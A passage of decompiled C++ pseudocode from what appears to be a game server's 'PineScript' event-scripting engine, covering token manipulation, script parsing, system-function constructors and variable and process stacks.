return condition == 0; } AssertClass::ac_AssertFail(&shineassert, message, 1); } return condition == 0; } //----- (0049CDE0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_ToLower(PineScriptToken *this) { PineScriptToken *result; // eax@1 unsigned int v2; // edx@1 char v3; // cl@2 char v4; // cl@6 char v5; // cl@10 char v6; // cl@14 result = this; v2 = 0; do { v3 = result->pst_Buffer[v2]; if ( !v3 ) break; if ( (unsigned __int8)v3 >= 0x41u && (unsigned __int8)v3 <= 0x5Au ) result->pst_Buffer[v2] = v3 + 32; v4 = result->pst_Buffer[v2 + 1]; if ( !v4 ) break; if ( (unsigned __int8)v4 >= 0x41u && (unsigned __int8)v4 <= 0x5Au ) result->pst_Buffer[v2 + 1] = v4 + 32; v5 = result->pst_Buffer[v2 + 2]; if ( !v5 ) break; if ( (unsigned __int8)v5 >= 0x41u && (unsigned __int8)v5 <= 0x5Au ) result->pst_Buffer[v2 + 2] = v5 + 32; v6 = result->pst_Buffer[v2 + 3]; if ( !v6 ) break; if ( (unsigned __int8)v6 >= 0x41u ) { if ( (unsigned __int8)v6 <= 0x5Au ) result->pst_Buffer[v2 + 3] = v6 + 32; } v2 += 4; } while ( v2 < 0x100 ); return result; } //----- (0049CE60) -------------------------------------------------------- void __thiscall PineScriptToken::PineScriptToken(PineScriptToken *this, char *name) { char *v2; // edx@1 char v3; // bl@2 v2 = name; do { v3 = *v2; v2[(char *)this - name] = *v2; ++v2; } while ( v3 ); } //----- (0049CE80) -------------------------------------------------------- void __thiscall PineScriptToken::PineScriptToken(PineScriptToken *this, int number) { sprintf(this->pst_Buffer, "%d"); } //----- (0049CEA0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_Clear(PineScriptToken *this) { PineScriptToken *result; // eax@1 result = this; this->pst_Buffer[0] = 0; return result; } //----- (0049CEB0) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptToken::pst_RemoveQuatator(PineScriptToken *this) { PineScriptToken *v1; // esi@1 unsigned __int16 result; // ax@2 PineScriptToken *v3; // eax@3 char *v4; // edx@3 char v5; // cl@4 int v6; // edi@5 v1 = this; if ( this->pst_Buffer[0] == 34 ) { v3 = this; v4 = &this->pst_Buffer[1]; do { v5 = v3->pst_Buffer[0]; v3 = (PineScriptToken *)((char *)v3 + 1); } while ( v5 ); v6 = (char *)v3 - v4; if ( *((_BYTE *)v1 + (char *)v3 - v4 - 1) == 34 ) { strncpy(v1->pst_Buffer, &v1->pst_Buffer[1], v6 - 2); *((_BYTE *)v1 + v6 - 2) = 0; result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (0049CF00) -------------------------------------------------------- int __thiscall PineScriptToken::pst_GetNumber(PineScriptToken *this, unsigned __int16 cut) { signed int v2; // esi@1 int result; // eax@1 unsigned int i; // edi@1 char v5; // dl@2 v2 = 1; result = 0; for ( i = strlen(this->pst_Buffer) - 1; (i & 0x80000000u) == 0; --i ) { v5 = this->pst_Buffer[i]; if ( (unsigned __int8)v5 < 0x30u ) break; if ( (unsigned __int8)v5 > 0x39u ) break; result += v2 * ((unsigned __int8)v5 - 48); v2 *= 10; } if ( cut ) this->pst_Buffer[i + 1] = 0; return result; } //----- (0049CF60) -------------------------------------------------------- char __thiscall PineScriptToken::pst_GetChar(PineScriptToken *this, int num) { return this->pst_Buffer[num]; } //----- (0049CF70) -------------------------------------------------------- void __thiscall PineScriptToken::pst_SetChar(PineScriptToken *this, int num, int chr) { this->pst_Buffer[num] = chr; } //----- (0049CF80) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptToken::pst_Merge(PineScriptToken *this, PineScriptToken *sst) { PineScriptToken *result; // eax@1 result = this; strcat(this->pst_Buffer, sst->pst_Buffer); return result; } //----- (0049CFC0) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptToken::operator__(PineScriptToken *this, char *str) { unsigned __int16 result; // ax@2 if ( strcmp(this->pst_Buffer, str) ) result = 0; else result = 1; return result; } //----- (0049D020) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptToken::operator__(PineScriptToken *this, char *str) { int v2; // kr00_4@1 unsigned __int16 result; // ax@2 v2 = strcmp(this->pst_Buffer, str); if ( v2 ) result = -(v2 < 0) - ((v2 < 0) - 1); else result = 0; return result; } //----- (0049D060) -------------------------------------------------------- void __thiscall PineEventScriptNode::CalculateOperator::_CalculateOperator(PineEventScriptNode::CompareOperator *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); //----- (0049D070) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncRand::SysFuncRand(PineEventScriptNode::SysFuncRand *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncRand::_vftable_; } // 5BD760: using guessed type int (__stdcall *PineEventScriptNode__SysFuncRand___vftable_[25])(int buffer, int ps, int argumentlist); //----- (0049D080) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineMobRegen::_SysFuncShineMobRegen(PineEventScriptNode::SysFuncShineGetLoseGuild *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncBase::_vftable_; } // 5BD75C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncBase___vftable_[26])(int buffer, int ps, int argumentlist); //----- (0049D090) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncSQRT::SysFuncSQRT(PineEventScriptNode::SysFuncSQRT *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncSQRT::_vftable_; } // 5BD764: using guessed type int (__stdcall *PineEventScriptNode__SysFuncSQRT___vftable_[24])(int buffer, int ps, int argumentlist); //----- (0049D0A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncDistance::SysFuncDistance(PineEventScriptNode::SysFuncDistance *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncDistance::_vftable_; } // 5BD768: using guessed type int (__stdcall *PineEventScriptNode__SysFuncDistance___vftable_[23])(int buffer, int x2, int argumentlist); //----- (0049D0B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineMobRegen::SysFuncShineMobRegen(PineEventScriptNode::SysFuncShineMobRegen *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineMobRegen::_vftable_; } // 5BD76C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineMobRegen___vftable_[22])(int buffer, int ps, int argumentlist); //----- (0049D0C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineDoorBuild::SysFuncShineDoorBuild(PineEventScriptNode::SysFuncShineDoorBuild *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineDoorBuild::_vftable_; } // 5BD770: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineDoorBuild___vftable_[21])(int buffer, int ps, int argumentlist); //----- (0049D0D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineNPCStand::SysFuncShineNPCStand(PineEventScriptNode::SysFuncShineNPCStand *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineNPCStand::_vftable_; } // 5BD774: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineNPCStand___vftable_[20])(int buffer, int ps, int argumentlist); //----- (0049D0E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineChange2Mob::SysFuncShineChange2Mob(PineEventScriptNode::SysFuncShineChange2Mob *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineChange2Mob::_vftable_; } // 5BD778: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineChange2Mob___vftable_[19])(int buffer, int ps, int argumentlist); //----- (0049D0F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineChange2Door::SysFuncShineChange2Door(PineEventScriptNode::SysFuncShineChange2Door *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineChange2Door::_vftable_; } // 5BD77C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineChange2Door___vftable_[18])(int buffer, int ps, int argumentlist); //----- (0049D100) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineChange2NPC::SysFuncShineChange2NPC(PineEventScriptNode::SysFuncShineChange2NPC *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineChange2NPC::_vftable_; } // 5BD780: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineChange2NPC___vftable_[17])(int buffer, int ps, int argumentlist); //----- (0049D110) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineCount::SysFuncShineCount(PineEventScriptNode::SysFuncShineCount *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineCount::_vftable_; } // 5BD784: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineCount___vftable_[16])(int buffer, int ps, int argumentlist); //----- (0049D120) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineRestSecond::SysFuncShineRestSecond(PineEventScriptNode::SysFuncShineRestSecond *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineRestSecond::_vftable_; } // 5BD788: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineRestSecond___vftable_[15])(int buffer, int ps, int argumentlist); //----- (0049D130) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineCharClass::SysFuncShineCharClass(PineEventScriptNode::SysFuncShineCharClass *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineCharClass::_vftable_; } // 5BD78C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineCharClass___vftable_[14])(int buffer, int ps, int argumentlist); //----- (0049D140) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineCharName::SysFuncShineCharName(PineEventScriptNode::SysFuncShineCharName *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineCharName::_vftable_; } // 5BD790: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineCharName___vftable_[13])(int buffer, int ps, int argumentlist); //----- (0049D150) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineDeadNumber::SysFuncShineDeadNumber(PineEventScriptNode::SysFuncShineDeadNumber *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineDeadNumber::_vftable_; } // 5BD794: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineDeadNumber___vftable_[12])(int buffer, int ps, int argumentlist); //----- (0049D160) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineCircularScatter::SysFuncShineCircularScatter(PineEventScriptNode::SysFuncShineCircularScatter *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineCircularScatter::_vftable_; } // 5BD798: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineCircularScatter___vftable_[11])(int buffer, int ps, int argumentlist); //----- (0049D170) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineRemoveFisrt::SysFuncShineRemoveFisrt(PineEventScriptNode::SysFuncShineRemoveFisrt *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineRemoveFisrt::_vftable_; } // 5BD79C: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineRemoveFisrt___vftable_[10])(int buffer, int ps, int argumentlist); //----- (0049D180) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShineGetObjectList(PineEventScriptNode::SysFuncShineGetObjectList *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineGetObjectList::_vftable_; } // 5BD7A0: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineGetObjectList___vftable_[9])(int buffer, int ps, int argumentlist); //----- (0049D190) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineKQResultList::SysFuncShineKQResultList(PineEventScriptNode::SysFuncShineKQResultList *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineKQResultList::_vftable_; } // 5BD7A4: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineKQResultList___vftable_[8])(int buffer, int ps, int argumentlist); //----- (0049D1A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineKQTop::SysFuncShineKQTop(PineEventScriptNode::SysFuncShineKQTop *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineKQTop::_vftable_; } // 5BD7A8: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineKQTop___vftable_[7])(int buffer, int ps, int argumentlist); //----- (0049D1B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineDistance::SysFuncShineDistance(PineEventScriptNode::SysFuncShineDistance *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineDistance::_vftable_; } // 5BD7AC: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineDistance___vftable_[6])(int buffer, int ps, int argumentlist); //----- (0049D1C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShinePlayerInArea::SysFuncShinePlayerInArea(PineEventScriptNode::SysFuncShinePlayerInArea *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShinePlayerInArea::_vftable_; } // 5BD7B0: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShinePlayerInArea___vftable_[5])(int buffer, int ps, int argumentlist); //----- (0049D1D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineRange::SysFuncShineRange(PineEventScriptNode::SysFuncShineRange *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineRange::_vftable_; } // 5BD7B4: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineRange___vftable_[4])(int buffer, int ps, int argumentlist); //----- (0049D1E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineIsGateUse::SysFuncShineIsGateUse(PineEventScriptNode::SysFuncShineIsGateUse *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineIsGateUse::_vftable_; } // 5BD7B8: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineIsGateUse___vftable_[3])(int buffer, int ps, int argumentlist); //----- (0049D1F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineGetWinnerGuild::SysFuncShineGetWinnerGuild(PineEventScriptNode::SysFuncShineGetWinnerGuild *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)PineEventScriptNode::SysFuncShineGetWinnerGuild::_vftable_; } // 5BD7BC: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineGetWinnerGuild___vftable_[2])(int buffer, int ps, int argumentlist); //----- (0049D200) -------------------------------------------------------- void __thiscall PineEventScriptNode::SysFuncShineGetLoseGuild::SysFuncShineGetLoseGuild(PineEventScriptNode::SysFuncShineGetLoseGuild *this) { this->baseclass_0.vfptr = (PineEventScriptNode::SysFuncBaseVtbl *)&PineEventScriptNode::SysFuncShineGetLoseGuild::_vftable_; } // 5BD7C0: using guessed type int (__stdcall *PineEventScriptNode__SysFuncShineGetLoseGuild___vftable_)(int buffer, int ps, int argumentlist); //----- (0049D210) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::ArgumentList::al_GetArgument(PineEventScriptNode::ArgumentList *this, unsigned int sub, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineScriptToken *result; // eax@1 result = buffer; buffer->pst_Buffer[0] = 0; if ( sub < 0xA ) { if ( this->al_Express[sub] ) result = (PineScriptToken *)((int (__stdcall *)(_DWORD, _DWORD))this->al_Express[sub]->vfptr->sa_Calculate)( buffer, ps); } return result; } //----- (0049D240) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncBase::sfb_Calculate(PineEventScriptNode::SysFuncBase *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *result; // eax@1 result = buffer; buffer->pst_Buffer[0] = 0; return result; } //----- (0049D250) -------------------------------------------------------- void __thiscall PineEventScriptNode::Identify::Identify(PineEventScriptNode::Identify *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Identify::_vftable_; this->i_Id = 0; this->i_Exp = 0; } // 5BD7F4: using guessed type int (__stdcall *PineEventScriptNode__Identify___vftable_)(int tr); //----- (0049D270) -------------------------------------------------------- void __thiscall PineEventScriptNode::Statement::Statement(PineEventScriptNode::Statement *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Statement::_vftable_; this->s_Statement = 0; } // 5BD824: using guessed type int (__stdcall *PineEventScriptNode__Statement___vftable_)(int tr); //----- (0049D280) -------------------------------------------------------- void __thiscall PineEventScriptNode::Statement::_Statement(PineEventScriptNode::Statement *this) { PineEventScriptNode::Statement *v1; // esi@1 PineEventScriptNode::ScriptAtom *v2; // eax@1 v1 = this; v2 = this->s_Statement; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Statement::_vftable_; if ( v2 ) { v2->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v2); } v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5BD824: using guessed type int (__stdcall *PineEventScriptNode__Statement___vftable_)(int tr); //----- (0049D2B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::BlockName::_BlockName(PineEventScriptNode::BlockName *this) { this->bn_Name.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5BD72C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); //----- (0049D2C0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateBreak::sb_CloneMe(PineEventScriptNode::StateBreak *this) { PineEventScriptNode::StatementBase *result; // eax@1 result = (PineEventScriptNode::StatementBase *)operator new(8u); if ( result ) { result->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateBreak::_vftable_; result[1].baseclass_0.vfptr = 0; } else { result = 0; } return result; } // 5BD844: using guessed type int (__stdcall *PineEventScriptNode__StateBreak___vftable_)(int tr); //----- (0049D2E0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ScriptAtom::sa_Step(PineEventScriptNode::ScriptAtom *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { return 0; } //----- (0049D2F0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Condition::sa_Load(PineEventScriptNode::Condition *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Condition *v2; // esi@1 v2 = this; return (unsigned __int16)this->c_Left.baseclass_0.vfptr->sa_Load(&this->c_Left, tr) && (unsigned __int16)v2->c_Oper.baseclass_0.vfptr->sa_Load(&v2->c_Oper, tr) && (unsigned __int16)v2->c_Right.baseclass_0.vfptr->sa_Load(&v2->c_Right, tr); } //----- (0049D340) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ScriptAtom::sa_BlockNameCheck(CQuest *this, unsigned __int16 nItemID) { return 0; } //----- (0049D350) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Block::sa_BlockNameCheck(PineEventScriptNode::Block *this, PineScriptToken *exitblock) { unsigned __int16 result; // ax@2 if ( exitblock ) result = PineScriptToken::operator__(&this->b_BlockName.bn_Name.i_Identify, exitblock->pst_Buffer) != 0; else result = 1; return result; } //----- (0049D380) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Identify::sa_Calculate(PineEventScriptNode::Identify *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Id *v3; // eax@1 PineScriptToken *result; // eax@2 PineEventScriptNode::Express *v5; // eax@3 PineScriptToken rst; // [sp+8h] [bp-104h]@4 v3 = this->i_Id; if ( v3 ) { result = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v3->baseclass_0.vfptr->sa_Calculate)( buffer, ps); } else { v5 = this->i_Exp; if ( v5 && (rst.pst_Buffer[0] = 0, ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->baseclass_0.vfptr->sa_Calculate)( &rst, ps)) ) { result = buffer; memcpy(buffer, &rst, 0x100u); } else { result = 0; } } return result; } //----- (0049D430) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SystemFunction::sa_Calculate(PineEventScriptNode::SystemFunction *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { return (PineScriptToken *)(**(int (__stdcall ***)(_DWORD, _DWORD, _DWORD))this->sfm_Function)( buffer, ps, &this->sfm_ArgumentList); } //----- (0049D450) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Number::sa_Calculate(PineEventScriptNode::String *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineScriptToken *result; // eax@1 result = buffer; memcpy(buffer, &this->s_String, 0x100u); return result; } //----- (0049D470) -------------------------------------------------------- int __thiscall PineScriptReader::CharacterReader::cr_GetCh(PineScriptReader::CharacterReader *this) { PineScriptReader::CharacterReader *i; // esi@1 int result; // eax@2 int v3; // eax@4 LABEL_2: for ( i = this; ; ++*i->cr_Line ) { result = fgetc(i->cr_fp); if ( result == 10 ) break; if ( result != 59 ) return result; while ( 1 ) { v3 = fgetc(i->cr_fp); if ( v3 == 10 ) break; if ( v3 == -1 ) goto LABEL_2; } } ++*i->cr_Line; return result; } //----- (0049D4B0) -------------------------------------------------------- void __thiscall PineScriptReader::CharacterReader::cr_SkipSpace(PineScriptReader::CharacterReader *this) { PineScriptReader::CharacterReader *v1; // esi@1 int v2; // eax@2 v1 = this; do { v2 = v1->cr_UngetBuffer; if ( v2 == -1 ) v2 = PineScriptReader::CharacterReader::cr_GetCh(v1); else v1->cr_UngetBuffer = -1; } while ( v2 <= 32 && v2 != -1 ); v1->cr_UngetBuffer = v2; } //----- (0049D4E0) -------------------------------------------------------- void __thiscall PineScriptReader::TokenReader::_TokenReader(PineScriptReader::TokenReader *this) { if ( this->tr_CharReader.cr_fp ) fclose(this->tr_CharReader.cr_fp); } //----- (0049D4F0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadString(PineScriptReader::TokenReader *this, PineScriptToken *tkn) { PineScriptReader::TokenReader *v2; // edi@1 const void *v3; // esi@1 int v4; // eax@2 PineScriptToken *result; // eax@9 int v6; // eax@11 v2 = this; v3 = &this->tr_Buffer; this->tr_BufPnt = 0; this->tr_Buffer.pst_Buffer[0] = 34; while ( 1 ) { ++v2->tr_BufPnt; v4 = v2->tr_CharReader.cr_UngetBuffer; if ( v4 == -1 ) v4 = PineScriptReader::CharacterReader::cr_GetCh(&v2->tr_CharReader); else v2->tr_CharReader.cr_UngetBuffer = -1; if ( v4 == 34 ) break; if ( v4 == 10 ) { v2->tr_ErrCode = "String over line"; return 0; } if ( v4 == -1 ) { v2->tr_ErrCode = "File end in string"; return 0; } v2->tr_Buffer.pst_Buffer[v2->tr_BufPnt] = v4; } v2->tr_Buffer.pst_Buffer[v2->tr_BufPnt] = 34; v6 = v2->tr_BufPnt + 1; v2->tr_BufPnt = v6; v2->tr_Buffer.pst_Buffer[v6] = 0; result = tkn; memcpy(tkn, v3, 0x100u); return result; } //----- (0049D5A0) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptReader::TokenReader::tr_isAlNum(PineScriptReader::TokenReader *this, int ch) { return ch >= 48 && ch <= 57 || ch >= 65 && ch <= 90 || ch >= 97 && ch <= 122 || ch == 95; } //----- (0049D5E0) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptReader::TokenReader::tr_IsOper(PineScriptReader::TokenReader *this, int ch) { return (ch < 48 || ch > 57) && (ch < 65 || ch > 90) && (ch < 97 || ch > 122) && ch != 95; } //----- (0049D630) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatementList::sl_AddStatement(PineEventScriptNode::StatementList *this, PineEventScriptNode::StatementBase *sb) { int v2; // edx@1 unsigned __int16 result; // ax@2 v2 = this->sl_Point; if ( (unsigned int)v2 < 0x80 ) { this->sl_Array[v2] = sb; ++this->sl_Point; result = 1; } else { AssertClass::ac_AssertFail(&shineassert, "Too many statement", 1); result = 0; } return result; } //----- (0049D670) -------------------------------------------------------- void __thiscall PineScriptStack::VariableStack::VarArray::VarArray(PineScriptStack::VariableStack::VarArray *this) { this->varname.pst_Buffer[0] = 0; this->varcontent.pst_Buffer[0] = 0; } //----- (0049D680) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptStack::VariableStack::vs_FindVariable(PineScriptStack::VariableStack *this, PineScriptToken *varname) { int v2; // edi@1 const char *v3; // ebp@2 PineScriptToken *result; // eax@6 PineScriptStack::VariableStack *v5; // [sp+10h] [bp-4h]@1 v2 = this->vs_StackPoint - 1; v5 = this; if ( v2 < 0 ) { LABEL_5: if ( varname ) { AssertClass::ac_AssertFail( &shineassert, "PineScriptStack::VariableStack::vs_FindVariable : Variable not found", varname->pst_Buffer); result = 0; } else { AssertClass::ac_AssertFail( &shineassert, "PineScriptStack::VariableStack::vs_FindVariable : Variable not found", 1); result = 0; } } else { v3 = (char *)this + 512 * v2; while ( strcmp(v3, varname->pst_Buffer) ) { --v2; v3 -= 512; if ( v2 < 0 ) goto LABEL_5; } result = &v5->vs_Stack[v2].varcontent; } return result; } //----- (0049D730) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptStack::VariableStack::vs_Push(PineScriptStack::VariableStack *this, PineScriptToken *varname) { int v2; // edi@1 PineScriptToken *result; // eax@3 v2 = this->vs_StackPoint; if ( (unsigned int)v2 < 0x7F ) { if ( varname ) { memcpy((char *)this + 512 * v2, varname, 0x100u); result = &this->vs_Stack[this->vs_StackPoint++].varcontent; } else { result = 0; } } else { if ( varname ) { AssertClass::ac_AssertFail(&shineassert, "Variable stack overflow", varname->pst_Buffer); result = 0; } else { AssertClass::ac_AssertFail(&shineassert, "Variable stack overflow", 1); result = 0; } } return result; } //----- (0049D7B0) -------------------------------------------------------- void __thiscall PineScriptStack::ProcessStack::_ProcessStack(PineScriptStack::ProcessStack *this) { _eh_vector_destructor_iterator_( &this->ps_VarStack, 0x200u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0049D7D0) -------------------------------------------------------- void __thiscall PineScriptStack::ProcessStack::ps_Ready(PineScriptStack::ProcessStack *this, PineEventScriptNode::Script *script) { int v2; // esi@1 this->ps_StackPoint = 0; this->ps_Stack[0].ip = 0; v2 = this->ps_StackPoint; this->ps_Script = script; this->ps_Stack[v2].node = (PineEventScriptNode::ScriptAtom *)script; *(_DWORD *)&this->gap10114[20] = 0; *(_DWORD *)&this->gap10114[16] = 0; *(_DWORD *)&this->gap10114[28] = 0; *(_DWORD *)&this->gap10114[24] = 0; this->ps_VarStack.vs_StackPoint = 0; } //----- (0049D820) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Step(PineScriptStack::ProcessStack *this, int handle) { return ((int (__stdcall *)(_DWORD, _DWORD, _DWORD))this->ps_Stack[this->ps_StackPoint].node->vfptr->sa_Step)( handle, this, &this->ps_Stack[this->ps_StackPoint].ip); } //----- (0049D850) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptStack::ProcessStack::ps_PushVariable(PineScriptStack::ProcessStack *this, PineScriptToken *varname) { return PineScriptStack::VariableStack::vs_Push(&this->ps_VarStack, varname); } //----- (0049D860) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Push(PineScriptStack::ProcessStack *this, PineEventScriptNode::ScriptAtom *script) { int v2; // eax@1 unsigned __int16 result; // ax@2 int v4; // eax@3 v2 = this->ps_StackPoint; if ( (unsigned int)v2 < 0x1F ) { v4 = v2 + 1; this->ps_StackPoint = v4; this->ps_Stack[v4].ip = 0; this->ps_Stack[this->ps_StackPoint].node = script; result = 1; } else { result = 0; } return result; } //----- (0049D8A0) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_Pop(PineScriptStack::ProcessStack *this) { int v1; // eax@1 unsigned __int16 result; // ax@2 v1 = this->ps_StackPoint; if ( v1 ) { 